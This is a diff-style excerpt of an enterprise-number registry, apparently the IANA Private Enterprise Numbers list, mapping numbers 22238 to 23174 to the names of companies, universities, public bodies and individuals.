+22238 FOXCONN Technology Group
+22239 Response Systems Corporation
+22240 DATOR3 a.s.
+22241 C&A Computer Consultants Ltd.
+22242 GENTOO FOUNDATION, INC.
+22243 The Swatch Group Ltd
+22244 Ing.-Büro Otte Gmbh
+22245 Phalanx
+22246 HSBC Bank plc
+22247 Port of Tilbury London Ltd
+22248 topf-sicret.org
+22249 INSIGHT TECHNOLOGIES Co., Ltd
+22250 Max-Planck-Institut fuer Radioastronomie
+22251 Syderal SA
+22252 McAfee Inc. (formerly 'Reconnex Corporation')
+22253 Lite Speed Technologies, Inc.
+22254 Jerome's Furniture Warehouse
+22255 StopTheGlaciers.org
+22256 Groep T Hogeschool Leuven
+22257 Consultation informatique Daniel Savard Inc.
+22258 Enlaces Tecnologicos S.A. de C.V.
+22259 WebAvis
+22260 Scana
+22261 California Lutheran University
+22262 OpenSides sprl
+22263 The Corporation of the County of Brant
+22264 Artifact Software Inc.
+22265 Stewart Enterprises, Inc.
+22266 Evidant Corporation
+22267 Integral Technologies Inc
+22268 Flammiger Enterprises
+22269 Charles A Gura
+22270 Quality Comm Comércio e Serviços de Teleinformática Ltda
+22271 Nimium d.o.o.
+22272 PAREXEL International Corporation
+22273 Universita' degli Studi di Ferrara
+22274 QSAN Technology, Inc.
+22275 PNMS
+22276 FHD Ltd.
+22277 GIquadrat mbH
+22278 Bob-paperi Ky
+22279 Shiflett Consulting
+22280 Telus Mobility
+22281 CODE INGENIERIA INFORMATICA
+22282 Qualys, Inc.
+22283 Gutemberg Medeiros Ltda
+22284 Dimensao Digital Desenvolvimento Ltd.
+22285 Teracue
+22286 SYSTEMA
+22287 TRS SpA
+22288 EXTIS GmbH
+22289 Contec GmbH
+22290 SkandSoft Technologies
+22291 FUJITSU ADVANCED SOLUTIONS LIMITED
+22292 Network Center of Peking University
+22293 Daily Dose Language Systems, Inc.
+22294 CAR-FRESHNER Corporation
+22295 Ministrstvo za obrambo Republike Slovenije
+22296 Fazt! Networks, Ltd.
+22297 Allied Bank Corporation
+22298 Höjebromölla
+22299 Pontifical University of St. Thomas
+22300 CableMatrix Technologies, Inc.
+22301 COMP Rzeszow S.A.
+22302 iC Compas GmbH and Co KG
+22303 RSS Solutions Inc
+22304 Westinghouse Savannah River Company, LLC
+22305 schwaberow.de
+22306 McMaster University
+22307 Active Reasoning, Inc.
+22308 RedSky Technologies Inc.
+22309 California State Automobile Association
+22310 ComNetMedia AG
+22311 A.F. Blakemore and Son Ltd
+22312 Université Saint-Louis - Bruxelles (USL-B) (formerly 'Université Saint-Louis (USL-B)')
+22313 SP Controls, Inc.
+22314 TGN-Systeme Krueger + Partner
+22315 spot media AG
+22316 OnTapSolutions
+22317 Applied Identity, Inc.
+22318 Anyware Video
+22319 Dravske elektrarne Maribor
+22320 Guardian Newspapers Limited
+22321 ISAC, Inc.
+22322 Freecomm Corporation
+22323 Capinfo Co, Ltd.
+22324 Cooperton LLC
+22325 Blick SA
+22326 Sago S.p.A
+22327 Martos Ltd
+22328 id Quantique SA
+22329 same
+22330 BIAS Inc.
+22331 State of Texas, Office of the Attorney General, Child Support Division
+22332 ImmediateIT
+22333 JPotter
+22334 Laws and Wolfe Inc.
+22335 Alcorn State University
+22336 Hopson Advanced Embedded Engineering
+22337 Hitachi Electronics Services Co.,Ltd
+22338 Paliot
+22339 RHX Studio Snc
+22340 Herlein Engineering, Inc.
+22341 ESO Technologies
+22342 Dyndaco BVBA
+22343 Technical Manangment
+22344 Telcomanager Technologies
+22345 Exalon Delft
+22346 dass /IT GmbH
+22347 IDS Services, LLC.
+22348 Braintower Technologies GmbH
+22349 Premier Retail Networks
+22350 debitel AG
+22351 RedPrompt
+22352 Pragmeta Networks
+22353 Network Connection
+22354 The Lapp Companies
+22355 Clariton Networks Ltd.
+22356 Web-Cyber & Co
+22357 INET-Consulting.com, Inc
+22358 Albeo
+22359 Jofee Internet Services
+22360 Unzet ApS
+22361 University of Michigan Radiation Oncology Physics
+22362 General Software, Inc.
+22363 Ken Bass Consulting
+22364 EMARKMONITOR INC.
+22365 Gluesys Co. Ltd.
+22366 EasySoft
+22367 Bit Bash Labs
+22368 Silver Spring Networks
+22369 Hong Kong Applied Science and Technology Research Institute Company Limited (ASTRI)
+22370 DUPLO CORPORATION
+22371 Business Data Solutions
+22372 Horst Reiterer
+22373 ThunderTechnology Srl
+22374 Allegro Wireless Canada Inc.
+22375 Crescent Real Estate Equities, LTD.
+22376 Masco Corporation
+22377 VoicePort, LLC
+22378 Spaceship.com, Inc.
+22379 InovaWeb
+22380 Vincent DEFERT
+22381 Linux User Group Roma
+22382 Drazen Baic
+22383 HCCP
+22384 Benedikt Heinen
+22385 Houston Academy of Medicine-Texas Medical Center Library
+22386 ionflux.org
+22387 InSync Technology Ltd
+22388 SENTELCO
+22389 IRIS Corporation Berhad
+22390 Parsek Corporation Ltd.
+22391 Citadel Security Software, Inc.
+22392 Delco S.p.A.
+22393 CDL chair - Saarland University
+22394 Digital Fuel Ltd.
+22395 DyLogic S.r.l.
+22396 Power Media sp. z o.o.
+22397 IBAMA
+22398 Cooperativa de Computação da Unimontes
+22399 QBT Systems, Inc.
+22400 Inside Higher Ed
+22401 VoIP, Inc.
+22402 lois.inc
+22403 Koch, Neff & Volckmar GmbH
+22404 SBS Technologies
+22405 Fujitsu Services Finland OY
+22406 Adermiis
+22407 NeoMeridian Sdn Bhd
+22408 PrimeKey Solutions AB
+22409 Midland Memorial Hospital
+22410 Pixel Technology
+22411 Hawkis Consulting
+22412 openenterprise.co.uk
+22413 TheStreet.com Inc
+22414 Pacific Lutheran University
+22415 Mole Valley Farmers Ltd.
+22416 Shelton Internet Ltd
+22417 Information Design Department of Tama Art University
+22418 Usina de Imagens Photo+Design Ltda.
+22419 Relex, Inc.
+22420 accedian, Inc.
+22421 TSYS Prepaid, Inc.
+22422 Provideo Systems Pty Ltd
+22423 Telvent Netherlands B.V. (DTN) (formerly 'Almos Systems Pty Ltd.')
+22424 INTELSOFT
+22425 Audio Processing Technology (APT)
+22426 Digital Data Communications Asia Co., Ltd.
+22427 Sowood & Co Ltd
+22428 RealOps, Inc.
+22429 Florical Systems, Inc.
+22430 Volke Entwicklungsring GmbH
+22431 Phoenix Interactive Design Inc
+22432 Gimlitech
+22433 Silvermedia Group
+22434 NET TIME Corp.
+22435 Beep Science AS
+22436 Sumaré Consultores Associados Ltda.
+22437 ITZ Informationstechnologie GmbH
+22438 Groxis, Inc.
+22439 CaseNEX
+22440 Canadian Bank Note Company, Ltd.
+22441 Next Dimension Inc.
+22442 CHILE.COM S.A.
+22443 EMETEC
+22444 GASCARD Partners, L.P.
+22445 Simon Holmgaard-IT
+22446 Bitdefender SRL (formerly 'SOFTWIN SRL')
+22447 B.Braun Melsungen AG
+22448 Cluster-Worxx.net
+22449 SOPA
+22450 servicenetz.biz
+22451 Custom IDEAS
+22452 ING-DiBa AG
+22453 H:S Hovedstadens Sygehusfællesskab
+22454 Helmut Mauell GmbH
+22455 Tribunal Regional do Trabalho da 4a. Regiao
+22456 Hebraic Hertiage Christian School of Theology
+22457 Deutscher Ring LebensversicherungsAG
+22458 Modulus Video, Inc.
+22459 QVidia Technologies, Inc.
+22460 Tangtop Technology Co.,Ltd
+22461 JeeF Software
+22462 Alternative Enterprises (HK) Limited
+22463 heidemann.org
+22464 01map
+22465 G.I.E. AXA Technology Services Belgium
+22466 hoehmann.biz
+22467 Applied Global Technologies, Inc.
+22468 Red-C Optical Networking
+22469 Universidad ORT Uruguay
+22470 NetDeposit Inc.
+22471 Visible School, Inc.
+22472 Boingo Wireless Inc.
+22473 Teledyne Controls
+22474 Asylum Telecom, Ltd.
+22475 UK Broadband
+22476 Syncor Systems, Inc.
+22477 KingHold Technology Co.,LTD
+22478 My ERM Application
+22479 Crosswalk, Inc.
+22480 XipLink Networking
+22481 HHS Health Options, Inc.
+22482 nc
+22483 StreamShield Networks
+22484 grand.central.org
+22485 SafeNet InfoTech Pvt Ltd
+22486 Kyushu Institute of Technology
+22487 2X Software Ltd
+22488 Teltronic S.A.U.
+22489 Telvent Tráfico y Transporte, S.A.
+22490 Health Care Service Corporation
+22491 Vircom, inc.
+22492 Forensic Signature Corp.
+22493 MW 2000 S.A.
+22494 Animaltracks.net
+22495 Chandler Gilbert Community College
+22496 Digital Stream, Inc.
+22497 shanghai blackstone communication Ltd
+22498 Neddco Enterprises
+22499 Document Processing Systems, Inc.
+22500 OfficeLink Plus Pty. Ltd.
+22501 UAB Skaitmeninio sertifikavimo centras
+22502 DaVita, Inc.
+22503 Klaus Henske
+22504 RedDevel.com
+22505 Volker Englisch
+22506 Incache LLC
+22507 Ministerio da Ciencia e Tecnologia
+22508 Beijing FiberHome Mobile Technologies Co.,Ltd
+22509 The Potter Group Ltd
+22510 WhatCounts
+22511 thinkorswim group, inc.
+22512 Personal Software Developement Company
+22513 PT Sapta Sarana Komunika
+22514 RVision LLC
+22515 Theoretic Solutions
+22516 Castalia LLC
+22517 Ernster Public Relations
+22518 Arel Communications and Software, Ltd.
+22519 Akademische Fliegergruppe Karlsruhe
+22520 Sandpath
+22521 Schwegman, Lundberg, Woessner, & Kluth P.A.
+22522 ClearPath Networks
+22523 Fontec Information Technology Inc.
+22524 Proyecto Fin de Carrera
+22525 RMP WebWorks
+22526 InstantServers, Inc.
+22527 Capella Technologies
+22528 iPodion GmbH
+22529 Kommunale Datenverarbeitungsgesellschaft mbH
+22530 Takeda Pharmaceuticals North America, Inc.
+22531 Paloma Partners
+22532 Computer Graphics Group
+22533 Symetra Financial
+22534 Purdue Pharma L.P.
+22535 Neiman Marcus Group
+22536 COPAN Systems
+22537 TreeTop GbR
+22538 Reva Systems Corporation
+22539 Champion Computer Technologies
+22540 Oulun Lyseon lukio
+22541 Open Acuity LLC
+22542 Lex Persona
+22543 GOUNOT
+22544 Host Collective Inc.
+22545 Daudt Consulting
+22546 Qwasartech
+22547 Alfred University
+22548 Biapo
+22549 Broad Net Mux Corporation
+22550 NANOTEX CORP.
+22551 MOIMSTONE Co.,LTD
+22552 Sinco Informatica
+22553 IT Saver
+22554 Legion of the Bouncy Castle
+22555 Safehaus
+22556 JAPAN ADVANCED INSTITUTE OF SCIENCE AND TECHNOLOGY
+22557 Deutsche Börse Group
+22558 one4vision GmbH
+22559 Intersys AG
+22560 Dynamic Design GmbH
+22561 Graphic Image Technologies (Pty) Ltd.
+22562 Trivector System AB
+22563 ehotel AG
+22564 ULX Ltd.
+22565 Odyssée Systèmes
+22566 Devoteam
+22567 Instituto Politécnico de Castelo Branco
+22568 Redwave Technology Ltd
+22569 Dynameeting spa
+22570 Thomas Taeger Datenblatt
+22571 AMART Logic
+22572 AD.NET solutions Enrico Roga
+22573 Infinite Software, Inc.
+22574 iseg Spezialelektronik GmbH
+22575 Astro-Med, Inc.
+22576 The OpenBSD SNMP Project
+22577 Thomas Wollner - IT Beratung und Integration
+22578 InFarmTech
+22579 kaptara GmbH & Co. KG (formerly 'Christoph Michel IT Management')
+22580 Martin-Baker Aircraft Company Ltd
+22581 epollux.org
+22582 Group 4 Technology Ltd
+22583 Clarkson University
+22584 Zetera Corporation
+22585 Forest Laboratories, Inc.
+22586 Dotcast, Inc.
+22587 Hjelle IT-Bistand
+22588 LucaS web studio
+22589 P6R, Inc.
+22590 BHG Security Consulting
+22591 Fachhochschule Muenchen - ZaK
+22592 Informatec LTDA
+22593 Emily Carr College of Art and Design
+22594 GoldKrush
+22595 Modulation Sciences Inc.
+22596 GCI Wireless
+22597 eOrg
+22598 MissionMode Solutions, Inc.
+22599 Informatec Comercial e Serviços Ltda.
+22600 Harris CapRock Communications (formerly 'CapRock Communications')
+22601 Tachometry Corporation
+22602 TESI Tècnica del So i la Imatge S.L.
+22603 skyblue.eu.com
+22604 Rentokil Initial plc
+22605 Winkowski Sp. z o.o.
+22606 Thomas Urban
+22607 ChiliTech Internet Solutions, Inc.
+22608 Cmed Ltd
+22609 CJ Microware and Associates
+22610 A10 Networks (previously 'Raksha Networks Inc.')
+22611 Tele Lorca
+22612 Envirocare of Utah, LLC
+22613 City Animal Hospital Ltd.
+22614 AtlanticRebel Consulting
+22615 Luna[e] Project
+22616 Companhia de Sistemas - Compsis Consultoria e Comercio de Informatica Ltda
+22617 Richland Community College
+22618 IBM/NY Hospitals
+22619 Universidade de Aveiro
+22620 Serveapolis
+22621 stepping stone GmbH
+22622 Lightel Technologies Inc.
+22623 Excellent Rameur
+22624 Source Technologies
+22625 ProcessClaims
+22626 COMET SYSTEM, s.r.o.
+22627 MIKRO-KOD Ltd.
+22628 Deutsche Angestellten-Krankenkasse
+22629 Plura Europe GmbH
+22630 Istituto Nazionale per la Ricerca sul Cancro
+22631 Fachhochschule Osnabrueck
+22632 TOKYO BUSINESS SOLUTION CO.,LTD.
+22633 Banco Mercantil do Brasil SA
+22634 Objectif Software
+22635 SECIT Secure IT Ltd.
+22636 bbv AG
+22637 Angel's Outpost
+22638 Siemens PTD EA
+22639 UNICO Computer Systems Pty Ltd
+22640 LuXpert
+22641 Microsystèmes S.A.
+22642 PROXID
+22643 Carsales.com.au Ltd
+22644 Zettai.net LLC
+22645 Lane County
+22646 Americom Government Services, Inc.
+22647 WRO-COM Maciej Jankowski
+22648 TENSQUARE gmbh
+22649 Astoria Networks Inc.
+22650 ADS Specialists, Inc.
+22651 Visual Commands
+22652 Raptor Networks Technology Inc.
+22653 Stoke Inc
+22654 Kodak Dental Systems
+22655 Number41Media Corporation
+22656 Intelicis Corporation
+22657 Exprit s.r.o.
+22658 Apria Healthcare Group
+22659 HHS International Ltd.
+22660 Wyoming.com
+22661 Wolfram Schlich, IT Service
+22662 UEcomm Ltd.
+22663 Banco do Estado de Sergipe S/A
+22664 Soost Software Technology
+22665 explicate.org
+22666 Hautespot Networks
+22667 phase5 information technology GbR
+22668 Hawaiian Electric Company
+22669 North West University
+22670 ControlGuard Ltd.
+22671 VITRONIC Dr.-Ing. Stein Bildverarbeitungssysteme GmbH
+22672 University of Peradeniya
+22673 GTS Telecom SRL
+22674 Gamersmafia
+22675 Prorange Ltd.
+22676 manitu GmbH
+22677 Finsoft Ltd
+22678 Latens Systems Ltd
+22679 Futura NT S.r.l.
+22680 Oxford BioSignals Ltd
+22681 ARD Technology
+22682 Vesuvius
+22683 SIGMA Chemnitz GmbH
+22684 ACS Automotive Communication Services GmbH
+22685 Fronter AS
+22686 Azbooka Publishers Ltd.
+22687 Brink's (UK) Limited
+22688 jborder.com
+22689 Yamagata University
+22690 Cleon Solutions s.r.l.
+22691 APL Ltd.
+22692 Magma Soft
+22693 Alpha Venega Corporation
+22694 Broadcast Service Danmark A/S
+22695 EPCglobal
+22696 Netadmin System i Sverige AB
+22697 First Point Global Pty Ltd
+22698 Match Lab, Inc.
+22699 M&T Bank Corporation
+22700 LUIS COLORADO SISTEMAS, S.L.
+22701 Hospices - CHUV
+22702 SC Stonet Computers SRL
+22703 Ask IT's Done Ltd
+22704 University of Kansas Medical Center
+22705 DIGICAST Inc.
+22706 DIGITAL FORECAST Corporation
+22707 Comtechservice
+22708 eSYS Informationssysteme GmbH
+22709 Appistry
+22710 Lipman Elektronik ve Danismanlik Ltd.Sti
+22711 SGS Societe Generale de Surveillance SA
+22712 Wielkopolski Oddzial Wojewodzki NFZ w Poznaniu
+22713 Università degli Studi di Cassino
+22714 Mobilaris AB
+22715 CenterPoint - Connective Software Engineering GmbH
+22716 Modern World Internet Ltd
+22717 VRT
+22718 Centre Reseau Communication
+22719 Pinellas County Government - IT
+22720 Metreos Corporation
+22721 SIM International, Inc.
+22722 KWPark Hardware
+22723 Cyjaya Korea
+22724 Store Alcala
+22725 Marko Durkovic
+22726 InfiniLogic (Private) Limited
+22727 Z&Z Services
+22728 V-Office
+22729 Unleash Computers Ltd
+22730 TurnTide Incorporated
+22731 Data Aire,Inc.
+22732 Brock University
+22733 NorBelle, LLC
+22734 synetics gmbh
+22735 GSC Mobile Solutions
+22736 Digium
+22737 SmarTone Mobile Communications Limited
+22738 WiNetworks
+22739 Network Technology Research Group
+22740 S&P Computersysteme GmbH
+22741 N-Dimension Solutions Inc.
+22742 Acbel Polytech Inc.
+22743 Linz AG
+22744 Purple Labs S.A.
+22745 MathAn Praha, s.r.o.
+22746 PRIORITY ELECTRONICS LTD.
+22747 Travelpack
+22748 Dade Behring
+22749 Celebrity Resorts, Inc.
+22750 Teen Living Programs, Inc.
+22751 HealthlineIS
+22752 PatchLink Corporation
+22753 Convergent Media Network Ltd.
+22754 Cyntrum Web-Technologies, Inc.
+22755 Terma Software Labs LLC
+22756 Revolution Linux inc.
+22757 Azonic Technology Ltd.
+22758 zrn.ru
+22759 PROMAX ELECTRONICA,SA
+22760 Sphera Corporation Ltd.
+22761 NAVI Sp. z o.o.
+22762 GROUPE ATLANTIC
+22763 Artis Group GmbH
+22764 SPIDCOM Technologies SA
+22765 Augur Systems, Inc.
+22766 Hoatech Technologies Co., Ltd.
+22767 TTC InfoAge Inc.
+22768 Technical University of Crete
+22769 mur.at - Verein zur Foerderung von Netzwerkkunst
+22770 MediaSputnik Ltd.
+22771 BlueFinger Ltd.
+22772 Oesterreichische Nationalbank
+22773 John Fan
+22774 Ensuren Corporation
+22775 Centromeric inc
+22776 Covance Cardiac Safety Services
+22777 Ventura24 S.L.
+22778 Reclusive Hermit
+22779 Carefirst BlueCross BlueShield
+22780 Powerline Technologies Ltd
+22781 wenzhou telecom
+22782 Bridgette, Inc
+22783 Rauscher networX
+22784 pimp.org.za
+22785 ICTeam AG
+22786 Lattelekom
+22787 internetbureau Websight
+22788 PSInd, LLC
+22789 martyhill.net
+22790 S.K.M. Informatik GmbH
+22791 China Council for the Promotion of International Trade (CCPIT)
+22792 Voice Technology Ind. and Com. Ltd.
+22793 Stratum Communications Pty Ltd
+22794 Pagaros Pty Limited
+22795 Mississippi Valley State University
+22796 LOGSYS Inc.
+22797 openconcept gmbh
+22798 University of Crete
+22799 Endo7 GmbH/Srl
+22800 FlexDSL Telecommunications AG
+22801 Amedia Networks, Inc.
+22802 Telabria Ltd
+22803 Psychosys Software Limited
+22804 Trivium Technologies Ltd.
+22805 Utex Communications
+22806 Scientica Life Sciences Pvt. Ltd.
+22807 Andreas Julius
+22808 Oesterreichische Aerztekammer
+22809 VLI Communications CO.,LTD.
+22810 Aktia Savings Bank p.l.c.
+22811 Pfeiffer & May Grosshandel AG
+22812 Allscripts, LLC
+22813 Pest Control Data Systems, Inc.
+22814 radiowave limted
+22815 Axeda Systems Inc.
+22816 Rackable Systems, Inc.
+22817 BAE SYSTEMS Australia
+22818 Naked Dwarf
+22819 Chas Philly Steaks and Stix
+22820 DATS Co. Ltd.
+22821 Saab AB
+22822 MobiComp Computação Móvel S.A.
+22823 Crodo Technologies Pte Ltd
+22824 Verbrugge Terminals BV
+22825 Androsoft GmbH
+22826 DFDS A/S
+22827 Certagon Corporation
+22828 Emacolet Networking Services
+22829 Core Mobility, Inc.
+22830 NUMATA Kazuya
+22831 Warpera Corporation
+22832 POSDATA Co. Ltd.
+22833 TMN TECHNOLOGIES Telecomunicações LTDA
+22834 Redfish Group Pty Ltd
+22835 Firetide Inc
+22836 Tercina Inc.
+22837 Rogers Police Department
+22838 A1 Enterprise, Inc
+22839 ZQInteractive
+22840 pbk2 GmbH & Co. KG
+22841 external Business Information Services GmbH
+22842 Scientific Games International GmbH
+22843 ANWB B.V.
+22844 Scheede
+22845 IntelSight
+22846 YR20 GROUP INC.
+22847 Vindaloo Communications
+22848 IdéiaLivre
+22849 T&F Computer und Networksystems GmbH
+22850 MSB
+22851 Children's Memorial Hospital
+22852 ENEM B.V.
+22853 GuangZhou Net Control Tech. Ltd.
+22854 Wojewódzki O¶rodek Informatyki przy Warminsko - Mazurskim Urzêdzie Wojewódzkim w Olsztynie
+22855 Multisuns Corp.
+22856 HiStor technologies
+22857 Reflex Security, Inc.
+22858 financial.com AG
+22859 Techaya Inc.
+22860 The LDAP Company
+22861 MDOUK
+22862 Winvision
+22863 Softwarehaus Hartter
+22864 ALPHA.CH AG
+22865 University of Basel
+22866 Vattenfall AB
+22867 G-International Ltd
+22868 Ventana Medical Systems, Inc.
+22869 Deutsche Gesellschaft für Technische Zusammenarbeit (GTZ) GmbH
+22870 Inter-Governmental Consultations on Asylum, Refugee and Migration Policies
+22871 Autocom A/S
+22872 Reinhard Moosauer IT Beratung
+22873 Indian Institute of Information Technology
+22874 Syntermed, Inc.
+22875 Fusion Laboratories, Inc
+22876 BlueCows Technical Services
+22877 Northern Arkansas Telephone Company, Inc.
+22878 Allen Corporation of America
+22879 Affine DB Ltd.
+22880 SonicDuo OSP dep.
+22881 Man Investments Ltd
+22882 CJSC "UKRAINIAN MOBILE COMMUNICATIONS"
+22883 OPENLiMiT SignCubes GmbH
+22884 Western Gas Resources, Inc.
+22885 GIP CPAGE
+22886 Astro Strobel Kommunikationssysteme GmbH
+22887 PC-Ware Information Technologies AG
+22888 Interface Business GmbH
+22889 Zenprise, Inc.
+22890 Department of Applied Mathematics "U.Dini"
+22891 Future Connect (Pvt) Ltd
+22892 Jan B. Telepski Trading
+22893 Ing. Petr Setka
+22894 Unipower Corporation
+22895 RF Technologies, Inc.
+22896 Govern de les Illes Balears
+22897 EPRCI
+22898 Sericon Technology Inc.
+22899 Etherstuff
+22900 Statewide Software & Systems
+22901 Packet411 Corporation
+22902 Discovery Communications Inc.
+22903 Preferred Communications, Inc.
+22904 R. L. Polk & Co.
+22905 OAG Worldwide Ltd
+22906 Medical Soft Instruments SLL
+22907 Riege Software International GmbH
+22908 Magnus Informatik A/S
+22909 T-VIPS AS
+22910 MaeSoft Group
+22911 EPSILON Software Assistance SA
+22912 Comrad Medical Systems Limited
+22913 TJM Products Pty Ltd
+22914 Sonim Technologies
+22915 IFX Corp
+22916 Pyramide Technologies Corp
+22917 UHS Systems Pty Ltd
+22918 TeDenium Indústria Eletroeletrônica Ltda.
+22919 Herit Corporation
+22920 Windows Consulting Group, Inc.
+22921 ATI Technologies Incorporated
+22922 postlab
+22923 moll-illner
+22924 wegewerk GmbH
+22925 LAB-EL Elektronika Laboratoryjna
+22926 Heinrig Impex SRL
+22927 Aqsacom SA
+22928 Seokyo Telecommunication Co., Ltd.
+22929 Schuemperlin Engineering AG
+22930 SPI Dynamics, Inc.
+22931 Parlano Inc.
+22932 Nvia2 Mensajes Interactivos, C.A.
+22933 itaas, Inc.
+22934 Rudolf Leiner GmbH
+22935 Beijing Univ. of Aeronautics & Astrnautics
+22936 Tonbrand Software
+22937 Message Mobile GmbH
+22938 NOS Technology AS
+22939 WebInterstate Inc.
+22940 Arrowspan Inc.
+22941 PDX, Inc.
+22942 O2 Micro
+22943 CVC Online
+22944 Winuel SA
+22945 KaiserAir
+22946 Chordcom
+22947 IT-INFORMATIK
+22948 InSerTO
+22949 EMAP Plc
+22950 OEG Australia
+22951 Lucid Security Corporation
+22952 On2 Technologies
+22953 EOSLINK CO., LTD
+22954 UNIVERSAL MICROELECTRONICS CO., LTD.
+22955 Azent AB
+22956 News International Supply Company Ltd.
+22957 ZEN Sistemi Srl
+22958 Weston Digital Technologies Ltd.
+22959 Tony Chachere's Creole Foods of Opelousas Inc
+22960 Sozotek, Inc.
+22961 SK Telesys
+22962 matrix.mx
+22963 Vale Technology LTD
+22964 Acceris Communications
+22965 Sundance Digital, Inc.
+22966 COSA GmbH
+22967 ZR InfoTech
+22968 ComBrio, Inc
+22969 H+BEDV Datentechnik GmbH
+22970 Dental-On-Line SARL
+22971 A.P. Moller - Maersk A/S
+22972 Wilibox
+22973 Greenfield Networks, Inc.
+22974 Elgi Equipments Ltd
+22975 The NGIM Project
+22976 AirInfinite, Inc.
+22977 MedImpact Healthcare Systems
+22978 GridConnect, Inc
+22979 Bridgestream Inc.
+22980 Confio Software
+22981 BPB plc
+22982 Tectona SoftSolutions Pvt. Ltd.
+22983 SSTIC
+22984 ALS&TEC Ltd
+22985 Derdack GmbH
+22986 Eurofighter Jagdflugzeug GmbH
+22987 EVONET Belgium NV
+22988 University of Kentucky
+22989 Essex Property Trust, Inc
+22990 Baltimore County Savings Bank, FSB
+22991 Netalfa Ltd.
+22992 WIT, Inc.
+22993 Belarc, Inc.
+22994 SiliconWorks Corporation
+22995 Axley.net
+22996 City of Peabody
+22997 Ab Initio Software Corporation
+22998 Allstream Inc
+22999 FURUNO SYSTEMS Co.,Ltd.
+23000 Nexis s.r.l.
+23001 Corporación Supermercados Unidos S.A
+23002 Consentry Networks
+23003 HyperWerk FHBB
+23004 C&C Solution Technology
+23005 Fluidsignal Group S.A.
+23006 e-Mont d.o.o.
+23007 Imatic
+23008 WebPaws.com
+23009 Asamnet e. V.
+23010 Maxima Communications
+23011 OCLC PICA
+23012 Netprovider S.A.
+23013 Salem-Keizer Public Schools
+23014 Genie-uk
+23015 NewBay Software Ltd.
+23016 Metaphor Studio, LLC
+23017 Ideal Technologies Inc.
+23018 Matrix Networks China
+23019 Pentacomp Systemy Informatyczne Sp. z o.o.
+23020 FGAN FKIE/KOM
+23021 Acstre Support Ltd.
+23022 Net Optics Inc.
+23023 THX Ltd.
+23024 PT. Dinamika Mandiri
+23025 meSSSoft
+23026 SuedLeasing GmbH
+23027 Area Electronic System
+23028 Sunrise Technology Co. Ltd.
+23029 SQI, Inc.
+23030 Shing
+23031 NSP Ltd.
+23032 MailFrontier, Inc.
+23033 Leivio Technologies, Inc.
+23034 SETIB
+23035 Labware, s.a.
+23036 Isomorphic System Research Inc.
+23037 CMT Systems Inc.
+23038 Emphasys Software
+23039 Ambient Corporation
+23040 Exobit Networks, Inc.
+23041 CQ Inc.
+23042 The Real Estate Company, Inc.
+23043 CastIS Corp.
+23044 SmallBizConcepts BV
+23045 Cassee.net
+23046 MTD Systems
+23047 Xinke (China) Information System Ltd
+23048 Sabik OY
+23049 Emsys n.v.
+23050 JSC Department of System Research
+23051 SC TeSIS Logic SRL
+23052 APPI Tecnologia S.A.
+23053 DOSHED Corp.
+23054 Cyris Networks
+23055 H Zero Seven
+23056 Riedel Communications GmbH
+23057 ISD Holland BV
+23058 Expertron Group (Pty) Ltd
+23059 NetFuel, Inc.
+23060 Codebench, Inc.
+23061 VirtualBridges Communications Corp
+23062 Huize-wel.nl
+23063 Dominion Lasercom, Inc
+23064 Kronback ApS
+23065 TWINCLING Society
+23066 Telmap LTD.
+23067 Nanomatic Ltd.
+23068 AngelGroup
+23069 Sodexho
+23070 Hubris Communications Inc
+23071 Conformiq Software Ltd.
+23072 Australian Internet Company Pty Ltd
+23073 WiMetrics Corporation
+23074 Security Conscious Inc.
+23075 Novatel Wireless, Inc.
+23076 SP
+23077 Keppler IT GmbH
+23078 Administration des Douanes et Impôts Indirects
+23079 Kiles Consulting
+23080 New York State Directory Services
+23081 Opus One, Inc.
+23082 Riedell MotorSports
+23083 University of Bridgeport
+23084 SCT Consulting
+23085 QQ Technology, INC.
+23086 Major & Minor Exims Pvt Ltd
+23087 Ross Sampson Consulting
+23088 Applied Watch Technologies, LLC
+23089 Nanjing Gentech System CO., Ltd.
+23090 ncfritz.net
+23091 Nilson Group AB
+23092 gaztec services
+23093 ANAGRAN
+23094 Kuehne + Nagel (AG&Co.) KG
+23095 ClarioNet, s.r.o.
+23096 jminet.com
+23097 Municipalidad de Rosario
+23098 ServicePilot Technologies
+23099 NeTAMS
+23100 H&T Greenline GmbH
+23101 University Hygienic Laboratory
+23102 San Mateo County Public Safety Communications
+23103 SRP
+23104 Raven Systems Design, Inc.
+23105 Action Systems, Inc.
+23106 RedPhone Security, Inc.
+23107 Women's Center for Radiology
+23108 RP Online Verlagsgesellschaft mbH
+23109 Netline Internet Service GmbH
+23110 UNYICO MIEE
+23111 Spun Pty Ltd
+23112 University of Turku
+23113 LXPT
+23114 Comstar Ltd.
+23115 OMP (Observatoire Midi-Pyrenees)
+23116 iVOD Inc.
+23117 New Zealand Ministry of Health
+23118 Telenet Systems Pvt. Ltd.
+23119 Shevchenko Didkovskiy & Partners
+23120 BFE Studio and Media Systems GmbH
+23121 Saint-Petersburg Certification Authority
+23122 Swisscom Ltd. - formely Bluewin AG
+23123 gedas deutschland GmbH
+23124 Dickey Rural Telephone Cooperative
+23125 Spring Lake Consulting, LLC
+23126 BaneTele AS
+23127 GINA-COMPUTING GmbH
+23128 NitroSecurity, Inc.
+23129 Macrovision Corporation
+23130 CPN International Inc.
+23131 Mithi Software Technologies private Limited
+23132 Canadian Net
+23133 IzhInformProject
+23134 Skillsunited.co.uk <http://Skillsunited.co.uk>
+23135 Articon Integralis AG
+23136 Warweus S.r.l
+23137 Altinity Limited
+23138 Reutlingen University
+23139 Software Eginerring Associated Consultants, Inc
+23140 Cybernetik.net
+23141 HOCHIKI CO.,LTD
+23142 Akademia Swietokrzyska
+23143 Peterson Packaging Oy
+23144 Defenxis Sdn Bhd
+23145 ExtendMedia Inc.
+23146 HOYA
+23147 VIMESA, VIDEO MEDIOS S.A.
+23148 Dr. Peter Koch EDV Dienstleistungen
+23149 Typodata
+23150 MoCoTec Mobile Communication Technologies
+23151 SeeTec Communications GmbH & Co. KG
+23152 HVB Leasing GmbH
+23153 Cloanto Corporation
+23154 AIT Austrian Institute of Technology GmbH
+23155 SOFTWISE DEVELOPMENT
+23156 Vitec Group Communications Limited
+23157 Theobit GmbH
+23158 CCIS sprl
+23159 eventIS Software Solutions B.V.
+23160 Geneous Software AG
+23161 Aran Technologies
+23162 Ecole Supérieure d'Informatique
+23163 Defensor del Pueblo
+23164 Revieworld Ltd
+23165 SAFE Identity
+23166 Automatyka
+23167 Operation Mobilisation
+23168 Orchard View Community Network
+23169 Sigma Systems Canada Inc.
+23170 Verizon Card Operations
+23171 Servergraph
+23172 Teletronics Technology Corp
+23173 SubZeroNet
+23174 WildBlue Communications, Inc.
